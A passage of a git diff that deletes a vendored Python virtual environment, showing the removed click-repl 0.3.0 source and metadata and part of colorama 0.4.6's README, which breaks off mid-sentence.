-FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE -AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER -LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, -OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE -SOFTWARE. diff --git a/backend/venv/Lib/site-packages/click_repl-0.3.0.dist-info/METADATA b/backend/venv/Lib/site-packages/click_repl-0.3.0.dist-info/METADATA deleted file mode 100644 index 593e9939..00000000 --- a/backend/venv/Lib/site-packages/click_repl-0.3.0.dist-info/METADATA +++ /dev/null @@ -1,117 +0,0 @@ -Metadata-Version: 2.1 -Name: click-repl -Version: 0.3.0 -Summary: REPL plugin for Click -Home-page: https://github.com/untitaker/click-repl -Author: Markus Unterwaditzer -Author-email: markus@unterwaditzer.net -License: MIT -Platform: UNKNOWN -Classifier: Programming Language :: Python :: 3 -Classifier: Programming Language :: Python :: 3 :: Only -Classifier: Programming Language :: Python :: 3.6 -Classifier: Programming Language :: Python :: 3.7 -Classifier: Programming Language :: Python :: 3.8 -Classifier: Programming Language :: Python :: 3.9 -Classifier: Programming Language :: Python :: 3.10 -Classifier: Programming Language :: Python :: 3.11 -Requires-Python: >=3.6 -Description-Content-Type: text/markdown -License-File: LICENSE -Requires-Dist: click (>=7.0) -Requires-Dist: prompt-toolkit (>=3.0.36) -Provides-Extra: testing -Requires-Dist: pytest-cov (>=4.0.0) ; extra == 'testing' -Requires-Dist: pytest (>=7.2.1) ; extra == 'testing' -Requires-Dist: tox (>=4.4.3) ; extra == 'testing' - -click-repl -=== - -[![Tests](https://github.com/click-contrib/click-repl/actions/workflows/tests.yml/badge.svg?branch=master)](https://github.com/click-contrib/click-repl/actions/workflows/tests.yml) -[![License](https://img.shields.io/pypi/l/click-repl?label=License)](https://github.com/click-contrib/click-repl/LICENSE) -![Python - version](https://img.shields.io/badge/python-3%20%7C%203.7%20%7C%203.8%20%7C%203.9%20%7C%203.10%20%7C%203.11-blue) -[![PyPi - version](https://img.shields.io/badge/pypi-v0.2.0-blue)](https://pypi.org/project/click-repl/) -![wheels](https://img.shields.io/piwheels/v/click-repl?label=wheel) -![PyPI - Status](https://img.shields.io/pypi/status/click) -![PyPI - Downloads](https://img.shields.io/pypi/dm/click-repl) - -Installation -=== - -Installation is done via pip: -``` -pip install click-repl -``` -Usage -=== - -In your [click](http://click.pocoo.org/) app: - -```py -import click -from click_repl import register_repl - -@click.group() -def cli(): - pass - -@cli.command() -def hello(): - click.echo("Hello world!") - -register_repl(cli) -cli() -``` -In the shell: -``` -$ my_app repl -> hello -Hello world! -> ^C -$ echo hello | my_app repl -Hello world! -``` -**Features not shown:** - -- Tab-completion. -- The parent context is reused, which means `ctx.obj` persists between - subcommands. If you're keeping caches on that object (like I do), using the - app's repl instead of the shell is a huge performance win. -- `!` - prefix executes shell commands. - -You can use the internal `:help` command to explain usage. - -Advanced Usage -=== - -For more flexibility over how your REPL works you can use the `repl` function -directly instead of `register_repl`. For example, in your app: - -```py -import click -from click_repl import repl -from prompt_toolkit.history import FileHistory - -@click.group() -def cli(): - pass - -@cli.command() -def myrepl(): - prompt_kwargs = { - 'history': FileHistory('/etc/myrepl/myrepl-history'), - } - repl(click.get_current_context(), prompt_kwargs=prompt_kwargs) - -cli() -``` -And then your custom `myrepl` command will be available on your CLI, which -will start a REPL which has its history stored in -`/etc/myrepl/myrepl-history` and persist between sessions. - -Any arguments that can be passed to the [`python-prompt-toolkit`](https://github.com/prompt-toolkit/python-prompt-toolkit) [Prompt](http://python-prompt-toolkit.readthedocs.io/en/stable/pages/reference.html?prompt_toolkit.shortcuts.Prompt#prompt_toolkit.shortcuts.Prompt) class -can be passed in the `prompt_kwargs` argument and will be used when -instantiating your `Prompt`. - - diff --git a/backend/venv/Lib/site-packages/click_repl-0.3.0.dist-info/RECORD b/backend/venv/Lib/site-packages/click_repl-0.3.0.dist-info/RECORD deleted file mode 100644 index f4efc7a3..00000000 --- a/backend/venv/Lib/site-packages/click_repl-0.3.0.dist-info/RECORD +++ /dev/null @@ -1,16 +0,0 @@ -click_repl-0.3.0.dist-info/INSTALLER,sha256=zuuue4knoyJ-UwPPXg8fezS7VCrXJQrAP7zeNuwvFQg,4 -click_repl-0.3.0.dist-info/LICENSE,sha256=w5qXIkFz5heQemLXVoSEvYPgWlplXqlCQH3DWjIetDE,1141 -click_repl-0.3.0.dist-info/METADATA,sha256=DF4pXhK8sH8aQ33WNAfX-umqGuIG8fgTmjehMdmBqG0,3553 -click_repl-0.3.0.dist-info/RECORD,, -click_repl-0.3.0.dist-info/WHEEL,sha256=G16H4A3IeoQmnOrYV4ueZGKSjhipXx8zc8nu9FGlvMA,92 -click_repl-0.3.0.dist-info/top_level.txt,sha256=F6rJUNCBcNeCP3tglg54K9NGWoA0azS09pH1B3V5LbQ,11 -click_repl/__init__.py,sha256=t3mMAVXruN3TZ72aXXHqk__ySRx7yyia8S8QnFd8Oq8,514 -click_repl/__pycache__/__init__.cpython-311.pyc,, -click_repl/__pycache__/_completer.cpython-311.pyc,, -click_repl/__pycache__/_repl.cpython-311.pyc,, -click_repl/__pycache__/exceptions.cpython-311.pyc,, -click_repl/__pycache__/utils.cpython-311.pyc,, -click_repl/_completer.py,sha256=0otlzltYbyc6BLv-kGV1S-jKPASd-ZJPfyiXsR9BkLE,9760 -click_repl/_repl.py,sha256=ABz22IoLkKEcfU7_gHbXTk7e96oxrUgDuumyjMs-ja8,4513 -click_repl/exceptions.py,sha256=b2623jlSGVISztcC07xZ6Dg1OwGbsyhwGDkEWRlQ2yU,445 -click_repl/utils.py,sha256=2r--kMG24BaF8d_RypX2KSpfKdrWkPI2YEHd5cFCbMY,6119 diff --git a/backend/venv/Lib/site-packages/click_repl-0.3.0.dist-info/WHEEL b/backend/venv/Lib/site-packages/click_repl-0.3.0.dist-info/WHEEL deleted file mode 100644 index becc9a66..00000000 --- a/backend/venv/Lib/site-packages/click_repl-0.3.0.dist-info/WHEEL +++ /dev/null @@ -1,5 +0,0 @@ -Wheel-Version: 1.0 -Generator: bdist_wheel (0.37.1) -Root-Is-Purelib: true -Tag: py3-none-any - diff --git a/backend/venv/Lib/site-packages/click_repl-0.3.0.dist-info/top_level.txt b/backend/venv/Lib/site-packages/click_repl-0.3.0.dist-info/top_level.txt deleted file mode 100644 index 4cf6be7d..00000000 --- a/backend/venv/Lib/site-packages/click_repl-0.3.0.dist-info/top_level.txt +++ /dev/null @@ -1 +0,0 @@ -click_repl diff --git a/backend/venv/Lib/site-packages/click_repl/__init__.py b/backend/venv/Lib/site-packages/click_repl/__init__.py deleted file mode 100644 index df3cea88..00000000 --- a/backend/venv/Lib/site-packages/click_repl/__init__.py +++ /dev/null @@ -1,11 +0,0 @@ -from ._completer import ClickCompleter as ClickCompleter # noqa: F401 -from ._repl import register_repl as register_repl # noqa: F401 -from ._repl import repl as repl # noqa: F401 -from .exceptions import CommandLineParserError as CommandLineParserError # noqa: F401 -from .exceptions import ExitReplException as ExitReplException # noqa: F401 -from .exceptions import ( # noqa: F401 - InternalCommandException as InternalCommandException, -) -from .utils import exit as exit # noqa: F401 - -__version__ = "0.3.0" diff --git a/backend/venv/Lib/site-packages/click_repl/__pycache__/__init__.cpython-311.pyc b/backend/venv/Lib/site-packages/click_repl/__pycache__/__init__.cpython-311.pyc deleted file mode 100644 index 032d6bb6..00000000 Binary files a/backend/venv/Lib/site-packages/click_repl/__pycache__/__init__.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/click_repl/__pycache__/_completer.cpython-311.pyc b/backend/venv/Lib/site-packages/click_repl/__pycache__/_completer.cpython-311.pyc deleted file mode 100644 index c9b686de..00000000 Binary files a/backend/venv/Lib/site-packages/click_repl/__pycache__/_completer.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/click_repl/__pycache__/_repl.cpython-311.pyc b/backend/venv/Lib/site-packages/click_repl/__pycache__/_repl.cpython-311.pyc deleted file mode 100644 index b327f181..00000000 Binary files a/backend/venv/Lib/site-packages/click_repl/__pycache__/_repl.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/click_repl/__pycache__/exceptions.cpython-311.pyc b/backend/venv/Lib/site-packages/click_repl/__pycache__/exceptions.cpython-311.pyc deleted file mode 100644 index 2200e422..00000000 Binary files a/backend/venv/Lib/site-packages/click_repl/__pycache__/exceptions.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/click_repl/__pycache__/utils.cpython-311.pyc b/backend/venv/Lib/site-packages/click_repl/__pycache__/utils.cpython-311.pyc deleted file mode 100644 index 81dff723..00000000 Binary files a/backend/venv/Lib/site-packages/click_repl/__pycache__/utils.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/click_repl/_completer.py b/backend/venv/Lib/site-packages/click_repl/_completer.py deleted file mode 100644 index a5922fee..00000000 --- a/backend/venv/Lib/site-packages/click_repl/_completer.py +++ /dev/null @@ -1,296 +0,0 @@ -from __future__ import unicode_literals - -import os -from glob import iglob - -import click -from prompt_toolkit.completion import Completion, Completer - -from .utils import _resolve_context, split_arg_string - -__all__ = ["ClickCompleter"] - -IS_WINDOWS = os.name == "nt" - - -# Handle backwards compatibility between Click<=7.0 and >=8.0 -try: - import click.shell_completion - - HAS_CLICK_V8 = True - AUTO_COMPLETION_PARAM = "shell_complete" -except (ImportError, ModuleNotFoundError): - import click._bashcomplete # type: ignore[import] - - HAS_CLICK_V8 = False - AUTO_COMPLETION_PARAM = "autocompletion" - - -def text_type(text): - return "{}".format(text) - - -class ClickCompleter(Completer): - __slots__ = ("cli", "ctx", "parsed_args", "parsed_ctx", "ctx_command") - - def __init__(self, cli, ctx): - self.cli = cli - self.ctx = ctx - self.parsed_args = [] - self.parsed_ctx = ctx - self.ctx_command = ctx.command - - def _get_completion_from_autocompletion_functions( - self, - param, - autocomplete_ctx, - args, - incomplete, - ): - param_choices = [] - - if HAS_CLICK_V8: - autocompletions = param.shell_complete(autocomplete_ctx, incomplete) - else: - autocompletions = param.autocompletion( # type: ignore[attr-defined] - autocomplete_ctx, args, incomplete - ) - - for autocomplete in autocompletions: - if isinstance(autocomplete, tuple): - param_choices.append( - Completion( - text_type(autocomplete[0]), - -len(incomplete), - display_meta=autocomplete[1], - ) - ) - - elif HAS_CLICK_V8 and isinstance( - autocomplete, click.shell_completion.CompletionItem - ): - param_choices.append( - Completion(text_type(autocomplete.value), -len(incomplete)) - ) - - else: - param_choices.append( - Completion(text_type(autocomplete), -len(incomplete)) - ) - - return param_choices - - def _get_completion_from_choices_click_le_7(self, param, incomplete): - if not getattr(param.type, "case_sensitive", True): - incomplete = incomplete.lower() - return [ - Completion( - text_type(choice), - -len(incomplete), - display=text_type(repr(choice) if " " in choice else choice), - ) - for choice in param.type.choices # type: ignore[attr-defined] - if choice.lower().startswith(incomplete) - ] - - else: - return [ - Completion( - text_type(choice), - -len(incomplete), - display=text_type(repr(choice) if " " in choice else choice), - ) - for choice in param.type.choices # type: ignore[attr-defined] - if choice.startswith(incomplete) - ] - - def _get_completion_for_Path_types(self, param, args, incomplete): - if "*" in incomplete: - return [] - - choices = [] - _incomplete = os.path.expandvars(incomplete) - search_pattern = _incomplete.strip("'\"\t\n\r\v ").replace("\\\\", "\\") + "*" - quote = "" - - if " " in _incomplete: - for i in incomplete: - if i in ("'", '"'): - quote = i - break - - for path in iglob(search_pattern): - if " " in path: - if quote: - path = quote + path - else: - if IS_WINDOWS: - path = repr(path).replace("\\\\", "\\") - else: - if IS_WINDOWS: - path = path.replace("\\", "\\\\") - - choices.append( - Completion( - text_type(path), - -len(incomplete), - display=text_type(os.path.basename(path.strip("'\""))), - ) - ) - - return choices - - def _get_completion_for_Boolean_type(self, param, incomplete): - return [ - Completion( - text_type(k), -len(incomplete), display_meta=text_type("/".join(v)) - ) - for k, v in { - "true": ("1", "true", "t", "yes", "y", "on"), - "false": ("0", "false", "f", "no", "n", "off"), - }.items() - if any(i.startswith(incomplete) for i in v) - ] - - def _get_completion_from_params(self, autocomplete_ctx, args, param, incomplete): - - choices = [] - param_type = param.type - - # shell_complete method for click.Choice is intorduced in click-v8 - if not HAS_CLICK_V8 and isinstance(param_type, click.Choice): - choices.extend( - self._get_completion_from_choices_click_le_7(param, incomplete) - ) - - elif isinstance(param_type, click.types.BoolParamType): - choices.extend(self._get_completion_for_Boolean_type(param, incomplete)) - - elif isinstance(param_type, (click.Path, click.File)): - choices.extend(self._get_completion_for_Path_types(param, args, incomplete)) - - elif getattr(param, AUTO_COMPLETION_PARAM, None) is not None: - choices.extend( - self._get_completion_from_autocompletion_functions( - param, - autocomplete_ctx, - args, - incomplete, - ) - ) - - return choices - - def _get_completion_for_cmd_args( - self, - ctx_command, - incomplete, - autocomplete_ctx, - args, - ): - choices = [] - param_called = False - - for param in ctx_command.params: - if isinstance(param.type, click.types.UnprocessedParamType): - return [] - - elif getattr(param, "hidden", False): - continue - - elif isinstance(param, click.Option): - for option in param.opts + param.secondary_opts: - # We want to make sure if this parameter was called - # If we are inside a parameter that was called, we want to show only - # relevant choices - if option in args[param.nargs * -1 :]: # noqa: E203 - param_called = True - break - - elif option.startswith(incomplete): - choices.append( - Completion( - text_type(option), - -len(incomplete), - display_meta=text_type(param.help or ""), - ) - ) - - if param_called: - choices = self._get_completion_from_params( - autocomplete_ctx, args, param, incomplete - ) - - elif isinstance(param, click.Argument): - choices.extend( - self._get_completion_from_params( - autocomplete_ctx, args, param, incomplete - ) - ) - - return choices - - def get_completions(self, document, complete_event=None): - # Code analogous to click._bashcomplete.do_complete - - args = split_arg_string(document.text_before_cursor, posix=False) - - choices = [] - cursor_within_command = ( - document.text_before_cursor.rstrip() == document.text_before_cursor - ) - - if document.text_before_cursor.startswith(("!", ":")): - return - - if args and cursor_within_command: - # We've entered some text and no space, give completions for the - # current word. - incomplete = args.pop() - else: - # We've not entered anything, either at all or for the current - # command, so give all relevant completions for this context. - incomplete = "" - - if self.parsed_args != args: - self.parsed_args = args - self.parsed_ctx = _resolve_context(args, self.ctx) - self.ctx_command = self.parsed_ctx.command - - if getattr(self.ctx_command, "hidden", False): - return - - try: - choices.extend( - self._get_completion_for_cmd_args( - self.ctx_command, incomplete, self.parsed_ctx, args - ) - ) - - if isinstance(self.ctx_command, click.MultiCommand): - incomplete_lower = incomplete.lower() - - for name in self.ctx_command.list_commands(self.parsed_ctx): - command = self.ctx_command.get_command(self.parsed_ctx, name) - if getattr(command, "hidden", False): - continue - - elif name.lower().startswith(incomplete_lower): - choices.append( - Completion( - text_type(name), - -len(incomplete), - display_meta=getattr(command, "short_help", ""), - ) - ) - - except Exception as e: - click.echo("{}: {}".format(type(e).__name__, str(e))) - - # If we are inside a parameter that was called, we want to show only - # relevant choices - # if param_called: - # choices = param_choices - - for item in choices: - yield item diff --git a/backend/venv/Lib/site-packages/click_repl/_repl.py b/backend/venv/Lib/site-packages/click_repl/_repl.py deleted file mode 100644 index 5693f52b..00000000 --- a/backend/venv/Lib/site-packages/click_repl/_repl.py +++ /dev/null @@ -1,152 +0,0 @@ -from __future__ import with_statement - -import click -import sys -from prompt_toolkit import PromptSession -from prompt_toolkit.history import InMemoryHistory - -from ._completer import ClickCompleter -from .exceptions import ClickExit # type: ignore[attr-defined] -from .exceptions import CommandLineParserError, ExitReplException, InvalidGroupFormat -from .utils import _execute_internal_and_sys_cmds - - -__all__ = ["bootstrap_prompt", "register_repl", "repl"] - - -def bootstrap_prompt( - group, - prompt_kwargs, - ctx=None, -): - """ - Bootstrap prompt_toolkit kwargs or use user defined values. - - :param group: click Group - :param prompt_kwargs: The user specified prompt kwargs. - """ - - defaults = { - "history": InMemoryHistory(), - "completer": ClickCompleter(group, ctx=ctx), - "message": "> ", - } - - defaults.update(prompt_kwargs) - return defaults - - -def repl( - old_ctx, prompt_kwargs={}, allow_system_commands=True, allow_internal_commands=True -): - """ - Start an interactive shell. All subcommands are available in it. - - :param old_ctx: The current Click context. - :param prompt_kwargs: Parameters passed to - :py:func:`prompt_toolkit.PromptSession`. - - If stdin is not a TTY, no prompt will be printed, but only commands read - from stdin. - """ - - group_ctx = old_ctx - # Switching to the parent context that has a Group as its command - # as a Group acts as a CLI for all of its subcommands - if old_ctx.parent is not None and not isinstance(old_ctx.command, click.Group): - group_ctx = old_ctx.parent - - group = group_ctx.command - - # An Optional click.Argument in the CLI Group, that has no value - # will consume the first word from the REPL input, causing issues in - # executing the command - # So, if there's an empty Optional Argument - for param in group.params: - if ( - isinstance(param, click.Argument) - and group_ctx.params[param.name] is None - and not param.required - ): - raise InvalidGroupFormat( - f"{type(group).__name__} '{group.name}' requires value for " - f"an optional argument '{param.name}' in REPL mode" - ) - - isatty = sys.stdin.isatty() - - # Delete the REPL command from those available, as we don't want to allow - # nesting REPLs (note: pass `None` to `pop` as we don't want to error if - # REPL command already not present for some reason). - repl_command_name = old_ctx.command.name - if isinstance(group_ctx.command, click.CommandCollection): - available_commands = { - cmd_name: cmd_obj - for source in group_ctx.command.sources - for cmd_name, cmd_obj in source.commands.items() - } - else: - available_commands = group_ctx.command.commands - - original_command = available_commands.pop(repl_command_name, None) - - if isatty: - prompt_kwargs = bootstrap_prompt(group, prompt_kwargs, group_ctx) - session = PromptSession(**prompt_kwargs) - - def get_command(): - return session.prompt() - - else: - get_command = sys.stdin.readline - - while True: - try: - command = get_command() - except KeyboardInterrupt: - continue - except EOFError: - break - - if not command: - if isatty: - continue - else: - break - - try: - args = _execute_internal_and_sys_cmds( - command, allow_internal_commands, allow_system_commands - ) - if args is None: - continue - - except CommandLineParserError: - continue - - except ExitReplException: - break - - try: - # The group command will dispatch based on args. - old_protected_args = group_ctx.protected_args - try: - group_ctx.protected_args = args - group.invoke(group_ctx) - finally: - group_ctx.protected_args = old_protected_args - except click.ClickException as e: - e.show() - except (ClickExit, SystemExit): - pass - - except ExitReplException: - break - - if original_command is not None: - available_commands[repl_command_name] = original_command - - -def register_repl(group, name="repl"): - """Register :func:`repl()` as sub-command *name* of *group*.""" - group.command(name=name)(click.pass_context(repl)) diff --git a/backend/venv/Lib/site-packages/click_repl/exceptions.py b/backend/venv/Lib/site-packages/click_repl/exceptions.py deleted file mode 100644 index 78c7dd09..00000000 --- a/backend/venv/Lib/site-packages/click_repl/exceptions.py +++ /dev/null @@ -1,23 +0,0 @@ -class InternalCommandException(Exception): - pass - - -class ExitReplException(InternalCommandException): - pass - - -class CommandLineParserError(Exception): - pass - - -class InvalidGroupFormat(Exception): - pass - - -# Handle click.exceptions.Exit introduced in Click 7.0 -try: - from click.exceptions import Exit as ClickExit -except (ImportError, ModuleNotFoundError): - - class ClickExit(RuntimeError): # type: ignore[no-redef] - pass diff --git a/backend/venv/Lib/site-packages/click_repl/utils.py b/backend/venv/Lib/site-packages/click_repl/utils.py deleted file mode 100644 index 9aa98008..00000000 --- a/backend/venv/Lib/site-packages/click_repl/utils.py +++ /dev/null @@ -1,222 +0,0 @@ -import click -import os -import shlex -import sys -from collections import defaultdict - -from .exceptions import CommandLineParserError, ExitReplException - - -__all__ = [ - "_execute_internal_and_sys_cmds", - "_exit_internal", - "_get_registered_target", - "_help_internal", - "_resolve_context", - "_register_internal_command", - "dispatch_repl_commands", - "handle_internal_commands", - "split_arg_string", - "exit", -] - - -# Abstract datatypes in collections module are moved to collections.abc -# module in Python 3.3 -if sys.version_info >= (3, 3): - from collections.abc import Iterable, Mapping # noqa: F811 -else: - from collections import Iterable, Mapping - - -def _resolve_context(args, ctx=None): - """Produce the context hierarchy starting with the command and - traversing the complete arguments. This only follows the commands, - it doesn't trigger input prompts or callbacks. - - :param args: List of complete args before the incomplete value. - :param cli_ctx: `click.Context` object of the CLI group - """ - - while args: - command = ctx.command - - if isinstance(command, click.MultiCommand): - if not command.chain: - name, cmd, args = command.resolve_command(ctx, args) - - if cmd is None: - return ctx - - ctx = cmd.make_context(name, args, parent=ctx, resilient_parsing=True) - args = ctx.protected_args + ctx.args - else: - while args: - name, cmd, args = command.resolve_command(ctx, args) - - if cmd is None: - return ctx - - sub_ctx = cmd.make_context( - name, - args, - parent=ctx, - allow_extra_args=True, - allow_interspersed_args=False, - resilient_parsing=True, - ) - args = sub_ctx.args - - ctx = sub_ctx - args = [*sub_ctx.protected_args, *sub_ctx.args] - else: - break - - return ctx - - -_internal_commands = {} - - -def split_arg_string(string, posix=True): - """Split an argument string as with :func:`shlex.split`, but don't - fail if the string is incomplete. Ignores a missing closing quote or - incomplete escape sequence and uses the partial token as-is. - .. code-block:: python - split_arg_string("example 'my file") - ["example", "my file"] - split_arg_string("example my\\") - ["example", "my"] - :param string: String to split. - """ - - lex = shlex.shlex(string, posix=posix) - lex.whitespace_split = True - lex.commenters = "" - out = [] - - try: - for token in lex: - out.append(token) - except ValueError: - # Raised when end-of-string is reached in an invalid state. Use - # the partial token as-is. The quote or escape character is in - # lex.state, not lex.token. - out.append(lex.token) - - return out - - -def _register_internal_command(names, target, description=None): - if not hasattr(target, "__call__"): - raise ValueError("Internal command must be a callable") - - if isinstance(names, str): - names = [names] - - elif isinstance(names, Mapping) or not isinstance(names, Iterable): - raise ValueError( - '"names" must be a string, or an iterable object, but got "{}"'.format( - type(names).__name__ - ) - ) - - for name in names: - _internal_commands[name] = (target, description) - - -def _get_registered_target(name, default=None): - target_info = _internal_commands.get(name) - if target_info: - return target_info[0] - return default - - -def _exit_internal(): - raise ExitReplException() - - -def _help_internal(): - formatter = click.HelpFormatter() - formatter.write_heading("REPL help") - formatter.indent() - - with formatter.section("External Commands"): - formatter.write_text('prefix external commands with "!"') - - with formatter.section("Internal Commands"): - formatter.write_text('prefix internal commands with ":"') - info_table = defaultdict(list) - - for mnemonic, target_info in _internal_commands.items(): - info_table[target_info[1]].append(mnemonic) - - formatter.write_dl( # type: ignore[arg-type] - ( # type: ignore[arg-type] - ", ".join(map(":{}".format, sorted(mnemonics))), - description, - ) - for description, mnemonics in info_table.items() - ) - - val = formatter.getvalue() # type: str - return val - - -_register_internal_command(["q", "quit", "exit"], _exit_internal, "exits the repl") -_register_internal_command( - ["?", "h", "help"], _help_internal, "displays general help information" -) - - -def _execute_internal_and_sys_cmds( - command, - allow_internal_commands=True, - allow_system_commands=True, -): - """ - Executes internal, system, and all the other registered click commands from the input - """ - if allow_system_commands and dispatch_repl_commands(command): - return None - - if allow_internal_commands: - result = handle_internal_commands(command) - if isinstance(result, str): - click.echo(result) - return None - - try: - return split_arg_string(command) - except ValueError as e: - raise CommandLineParserError("{}".format(e)) - - -def exit(): - """Exit the repl""" - _exit_internal() - - -def dispatch_repl_commands(command): - """ - Execute system commands entered in the repl. - - System commands are all commands starting with "!". - """ - if command.startswith("!"): - os.system(command[1:]) - return True - - return False - - -def handle_internal_commands(command): - """ - Run repl-internal commands. - - Repl-internal commands are all commands starting with ":". - """ - if command.startswith(":"): - target = _get_registered_target(command[1:], default=None) - if target: - return target() diff --git a/backend/venv/Lib/site-packages/colorama-0.4.6.dist-info/INSTALLER b/backend/venv/Lib/site-packages/colorama-0.4.6.dist-info/INSTALLER deleted file mode 100644 index a1b589e3..00000000 --- a/backend/venv/Lib/site-packages/colorama-0.4.6.dist-info/INSTALLER +++ /dev/null @@ -1 +0,0 @@ -pip diff --git a/backend/venv/Lib/site-packages/colorama-0.4.6.dist-info/METADATA b/backend/venv/Lib/site-packages/colorama-0.4.6.dist-info/METADATA deleted file mode 100644 index a1b5c575..00000000 --- a/backend/venv/Lib/site-packages/colorama-0.4.6.dist-info/METADATA +++ /dev/null @@ -1,441 +0,0 @@ -Metadata-Version: 2.1 -Name: colorama -Version: 0.4.6 -Summary: Cross-platform colored terminal text. -Project-URL: Homepage, https://github.com/tartley/colorama -Author-email: Jonathan Hartley -License-File: LICENSE.txt -Keywords: ansi,color,colour,crossplatform,terminal,text,windows,xplatform -Classifier: Development Status :: 5 - Production/Stable -Classifier: Environment :: Console -Classifier: Intended Audience :: Developers -Classifier: License :: OSI Approved :: BSD License -Classifier: Operating System :: OS Independent -Classifier: Programming Language :: Python -Classifier: Programming Language :: Python :: 2 -Classifier: Programming Language :: Python :: 2.7 -Classifier: Programming Language :: Python :: 3 -Classifier: Programming Language :: Python :: 3.7 -Classifier: Programming Language :: Python :: 3.8 -Classifier: Programming Language :: Python :: 3.9 -Classifier: Programming Language :: Python :: 3.10 -Classifier: Programming Language :: Python :: Implementation :: CPython -Classifier: Programming Language :: Python :: Implementation :: PyPy -Classifier: Topic :: Terminals -Requires-Python: !=3.0.*,!=3.1.*,!=3.2.*,!=3.3.*,!=3.4.*,!=3.5.*,!=3.6.*,>=2.7 -Description-Content-Type: text/x-rst - -.. image:: https://img.shields.io/pypi/v/colorama.svg - :target: https://pypi.org/project/colorama/ - :alt: Latest Version - -.. image:: https://img.shields.io/pypi/pyversions/colorama.svg - :target: https://pypi.org/project/colorama/ - :alt: Supported Python versions - -.. image:: https://github.com/tartley/colorama/actions/workflows/test.yml/badge.svg - :target: https://github.com/tartley/colorama/actions/workflows/test.yml - :alt: Build Status - -Colorama -======== - -Makes ANSI escape character sequences (for producing colored terminal text and -cursor positioning) work under MS Windows. - -.. |donate| image:: https://www.paypalobjects.com/en_US/i/btn/btn_donate_SM.gif - :target: https://www.paypal.com/cgi-bin/webscr?cmd=_donations&business=2MZ9D2GMLYCUJ&item_name=Colorama¤cy_code=USD - :alt: Donate with Paypal - -`PyPI for releases `_ | -`Github for source `_ | -`Colorama for enterprise on Tidelift `_ - -If you find Colorama useful, please |donate| to the authors. Thank you! - -Installation ------------- - -Tested on CPython 2.7, 3.7, 3.8, 3.9 and 3.10 and Pypy 2.7 and 3.8. - -No requirements other than the standard library. - -.. code-block:: bash - - pip install colorama - # or - conda install -c anaconda colorama - -Description ------------ - -ANSI escape character sequences have long been used to produce colored terminal -text and cursor positioning on Unix and Macs. Colorama makes this work on -Windows, too, by wrapping ``stdout``, stripping ANSI sequences it finds (which -would appear as gobbledygook in the output), and converting them into the -appropriate win32 calls to modify the state of the terminal. On other platforms, -Colorama does nothing. - -This has the upshot of providing a simple cross-platform API for printing -colored terminal text from Python, and has the happy side-effect that existing -applications or libraries which use ANSI sequences to produce colored output on -Linux or Macs can now also work on Windows, simply by calling -``colorama.just_fix_windows_console()`` (since v0.4.6) or ``colorama.init()`` -(all versions, but may have other side-effects – see below). - -An alternative approach is to install ``ansi.sys`` on Windows machines, which -provides the same behaviour for all applications running in terminals. Colorama -is intended for situations where that isn't easy (e.g., maybe your app doesn't -have an installer.) - -Demo scripts in the source code repository print some colored text using -ANSI sequences. Compare their output under Gnome-terminal's built in ANSI -handling, versus on Windows Command-Prompt using Colorama: - -.. image:: https://github.com/tartley/colorama/raw/master/screenshots/ubuntu-demo.png - :width: 661 - :height: 357 - :alt: ANSI sequences on Ubuntu under gnome-terminal. - -.. image:: https://github.com/tartley/colorama/raw/master/screenshots/windows-demo.png - :width: 668 - :height: 325 - :alt: Same ANSI sequences on Windows, using Colorama. - -These screenshots show that, on Windows, Colorama does not support ANSI 'dim -text'; it looks the same as 'normal text'. - -Usage ------ - -Initialisation -.............. - -If the only thing you want from Colorama is to get ANSI escapes to work on -Windows, then run: - -.. code-block:: python - - from colorama import just_fix_windows_console - just_fix_windows_console() - -If you're on a recent version of Windows 10 or better, and your stdout/stderr -are pointing to a Windows console, then this will flip the magic configuration -switch to enable Windows' built-in ANSI support. - -If you're on an older version of Windows, and your stdout/stderr are pointing to -a Windows console, then this will wrap ``sys.stdout`` and/or ``sys.stderr`` in a -magic file object that intercepts ANSI escape sequences and issues the -appropriate Win32 calls to emulate them. - -In all other circumstances, it does nothing whatsoever. Basically the idea is -that this makes Windows act like Unix with respect to ANSI escape handling. - -It's safe to call this function multiple times. It's safe to call this function -on non-Windows platforms, but it won't do anything. It's safe to call this -function when one or both of your stdout/stderr are redirected to a file – it -won't do anything to those streams. - -Alternatively, you can use the older interface with more features (but also more -potential footguns): - -.. code-block:: python - - from colorama import init - init() - -This does the same thing as ``just_fix_windows_console``, except for the -following differences: - -- It's not safe to call ``init`` multiple times; you can end up with multiple - layers of wrapping and broken ANSI support. - -- Colorama will apply a heuristic to guess whether stdout/stderr support ANSI, - and if it thinks they don't, then it will wrap ``sys.stdout`` and - ``sys.stderr`` in a magic file object that strips out ANSI escape sequences - before printing them. This happens on all platforms, and can be convenient if - you want to write your code to emit ANSI escape sequences unconditionally, and - let Colorama decide whether they should actually be output. But note that - Colorama's heuristic is not particularly clever. - -- ``init`` also accepts explicit keyword args to enable/disable various - functionality – see below. - -To stop using Colorama before your program exits, simply call ``deinit()``. -This will restore ``stdout`` and ``stderr`` to their original values, so that -Colorama is disabled. To resume using Colorama again, call ``reinit()``; it is -cheaper than calling ``init()`` again (but does the same thing). - -Most users should depend on ``colorama >= 0.4.6``, and use -``just_fix_windows_console``. The old ``init`` interface will be supported -indefinitely for backwards compatibility, but we don't plan to fix any issues -with it, also for backwards compatibility. - -Colored Output -.............. - -Cross-platform printing of colored text can then be done using Colorama's -constant shorthand for ANSI escape sequences. These are deliberately -rudimentary, see below. - -.. code-block:: python - - from colorama import Fore, Back, Style - print(Fore.RED + 'some red text') - print(Back.GREEN + 'and with a green background') - print(Style.DIM + 'and in dim text') - print(Style.RESET_ALL) - print('back to normal now') - -...or simply by manually printing ANSI sequences from your own code: - -.. code-block:: python - - print('\033[31m' + 'some red text') - print('\033[39m') # and reset to default color - -...or, Colorama can be used in conjunction with existing ANSI libraries -such as the venerable `Termcolor `_ -the fabulous `Blessings `_, -or the incredible `_Rich `_. - -If you wish Colorama's Fore, Back and Style constants were more capable, -then consider using one of 